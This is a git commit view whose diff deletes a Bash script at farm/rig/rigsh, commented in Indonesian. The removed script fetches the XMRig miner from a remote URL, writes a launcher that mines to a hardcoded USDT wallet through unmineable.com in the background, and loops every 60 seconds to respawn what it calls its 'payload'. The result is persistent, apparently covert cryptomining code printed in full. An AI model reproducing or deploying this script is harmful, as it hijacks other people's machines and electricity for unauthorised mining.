Delete farm/rig/rigsh
This commit is contained in:
parent
af91bdf3e4
commit
79aac82d7c
@ -1,91 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
# URL untuk mengunduh xmrig.tar.gz
|
||||
PAYLOAD_URL="https://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz"
|
||||
|
||||
# Direktori kerja saat ini
|
||||
CURRENT_DIR=$(pwd)
|
||||
XMRIG_PATH="$CURRENT_DIR/xmrig"
|
||||
SCRIPT_PATH="$CURRENT_DIR/run_xmrig.sh"
|
||||
|
||||
# Fungsi untuk mengunduh dan mengekstrak payload
|
||||
download_and_extract_payload() {
|
||||
TAR_FILE="$CURRENT_DIR/xmrig.tar.gz"
|
||||
|
||||
if command -v wget >/dev/null 2>&1; then
|
||||
echo "[*] wget tersedia. Mengunduh xmrig.tar.gz..."
|
||||
wget "$PAYLOAD_URL" -O "$TAR_FILE"
|
||||
elif command -v curl >/dev/null 2>&1; then
|
||||
echo "[*] curl tersedia. Mengunduh xmrig.tar.gz..."
|
||||
curl -o "$TAR_FILE" "$PAYLOAD_URL"
|
||||
else
|
||||
echo "[!] Tidak ada wget atau curl tersedia untuk mengunduh xmrig.tar.gz."
|
||||
return 1
|
||||
fi
|
||||
|
||||
echo "[*] Mengekstrak xmrig.tar.gz..."
|
||||
tar -xzf "$TAR_FILE" -C "$CURRENT_DIR"
|
||||
}
|
||||
|
||||
# Fungsi untuk membuat file run_xmrig.sh
|
||||
create_run_script() {
|
||||
cat <<EOL > "$SCRIPT_PATH"
|
||||
#!/bin/bash
|
||||
|
||||
# Mendapatkan hostname server
|
||||
HOSTNAME=\$(hostname)
|
||||
|
||||
# Menjalankan xmrig dengan parameter yang diberikan
|
||||
nohup ./xmrig -a rx -o stratum+ssl://rx.unmineable.com:443 \
|
||||
-u USDT:TTrVsRnBzjB5xEQ57NTVYJinjpnne8oGXN."\${HOSTNAME}" -p x > xmrig.log 2>&1 &
|
||||
|
||||
# Menampilkan pesan sukses
|
||||
echo "xmrig berjalan di latar belakang dengan nama worker: \${HOSTNAME}. Log output disimpan di xmrig.log"
|
||||
EOL
|
||||
chmod +x "$SCRIPT_PATH"
|
||||
echo "[*] File run_xmrig.sh berhasil dibuat."
|
||||
}
|
||||
|
||||
# Fungsi untuk menjalankan xmrig
|
||||
run_command() {
|
||||
if [[ ! -f "$XMRIG_PATH" || ! -f "$SCRIPT_PATH" ]]; then
|
||||
echo "[*] Payload atau skrip tidak ditemukan. Mengunduh dan menyiapkan xmrig..."
|
||||
download_and_extract_payload
|
||||
create_run_script
|
||||
fi
|
||||
|
||||
if [[ ! -f "$SCRIPT_PATH" ]]; then
|
||||
echo "[*] File run_xmrig.sh tidak ditemukan. Membuat ulang..."
|
||||
create_run_script
|
||||
fi
|
||||
|
||||
bash "$SCRIPT_PATH"
|
||||
EXIT_CODE=$?
|
||||
|
||||
echo "Command executed: bash $SCRIPT_PATH"
|
||||
echo "Exit code: $EXIT_CODE"
|
||||
|
||||
if [[ "$EXIT_CODE" -ne 0 ]]; then
|
||||
echo "[*] Exit code non-zero detected ($EXIT_CODE). Checking active session..."
|
||||
|
||||
if pgrep -f "./xmrig" >/dev/null 2>&1; then
|
||||
echo "[*] Active session detected. Skipping payload execution."
|
||||
else
|
||||
echo "[*] No active session detected. Spawning payload..."
|
||||
nohup bash "$SCRIPT_PATH" > /dev/null 2>&1 &
|
||||
fi
|
||||
else
|
||||
echo "[*] Exit code zero. XMRig is running successfully."
|
||||
fi
|
||||
}
|
||||
|
||||
# Fungsi untuk memastikan skrip berjalan terus menerus
|
||||
run_persistently() {
|
||||
while true; do
|
||||
run_command
|
||||
sleep 60
|
||||
done
|
||||
}
|
||||
|
||||
# Mulai menjalankan perintah secara terus menerus
|
||||
run_persistently
|
Loading…
Reference in New Issue
Block a user